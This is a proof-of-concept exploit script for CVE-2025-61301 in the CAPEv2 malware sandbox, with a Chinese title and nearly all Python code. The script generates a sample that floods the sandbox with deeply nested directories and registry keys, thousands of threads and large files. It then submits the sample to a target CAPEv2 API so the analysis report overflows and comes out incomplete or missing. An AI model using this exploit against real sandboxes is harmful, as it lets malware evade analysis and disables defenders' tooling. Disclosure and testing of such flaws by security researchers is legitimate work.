CVE-2025-61301：CAPEv2沙箱拒绝服务分析漏洞

# CVE-2025-61301 PoC - Denial-of-Analysis via Oversized/Deeply Nested Behavior Data # This PoC demonstrates how a crafted sample can trigger MongoDB BSON limits # or orjson recursion errors in CAPEv2's reporting module. import requests import zipfile import os import tempfile # CAPEv2 web submission API endpoint CAPEV2_URL = "http://target-capev2:8000/apiv2/tasks/create/file/" API_TOKEN = "your_api_token_here" def create_malicious_sample(): """ Create a sample that generates deeply nested or oversized behavior data when executed in the CAPEv2 sandbox. The sample will: 1. Create deeply nested directories (triggers filesystem monitoring recursion) 2. Create deeply nested registry keys (Windows only) 3. Rapidly spawn processes/threads (triggers API log overflow) """ sample_code = ''' import os import sys import threading import time def create_deep_directories(base_path, depth): """Create deeply nested directories to trigger deep path monitoring""" current = base_path for i in range(depth): current = os.path.join(current, f"level_{i}_padding_to_increase_path_length_{'A'*50}") try: os.makedirs(current, exist_ok=True) except: pass def spawn_many_threads(count): """Spawn many threads to generate excessive API call logs""" threads = [] for i in range(count): t = threading.Thread(target=lambda: time.sleep(60)) t.daemon = True threads.append(t) t.start() def create_deep_registry_keys(depth): """Create deeply nested registry keys (Windows)""" try: import winreg key_path = r"Software\\CAPEv2_Test" current_key = winreg.HKEY_CURRENT_USER for i in range(depth): key_path += f"\\SubKey_{i}_{'X'*30}" try: current_key = winreg.CreateKey(current_key, f"SubKey_{i}_{'X'*30}") except: break except ImportError: pass def generate_large_files(count, size_mb): """Generate large files to increase behavior log size""" data = b"A" * (1024 * 1024) # 1MB of data for i in range(count): path = os.path.join(tempfile.gettempdir(), f"large_file_{i}.dat") with open(path, "wb") as f: for _ in range(size_mb): f.write(data) if __name__ == "__main__": # Strategy 1: Create deeply nested directories (depth > 1000) create_deep_directories(os.path.expanduser("~"), 1500) # Strategy 2: Spawn excessive threads (triggers API log overflow) spawn_many_threads(5000) # Strategy 3: Create deeply nested registry keys (Windows) create_deep_registry_keys(1500) # Strategy 4: Generate large files to exceed BSON 16MB limit generate_large_files(20, 5) print("Sample execution complete") ''' # Write sample to a temporary file sample_path = os.path.join(tempfile.gettempdir(), "cve_2025_61301_sample.py") with open(sample_path, "w") as f: f.write(sample_code) return sample_path def submit_to_capev2(sample_path): """Submit the malicious sample to CAPEv2""" with open(sample_path, "rb") as f: files = {"file": (os.path.basename(sample_path), f, "application/octet-stream")} headers = {"Authorization": f"Bearer {API_TOKEN}"} response = requests.post(CAPEV2_URL, files=files, headers=headers) if response.status_code == 200: print(f"[+] Sample submitted successfully. Task ID: {response.json().get('task_id')}") print("[!] The analysis report will be incomplete or missing due to CVE-2025-61301") else: print(f"[-] Submission failed: {response.status_code}") if __name__ == "__main__": sample = create_malicious_sample() submit_to_capev2(sample) os.remove(sample)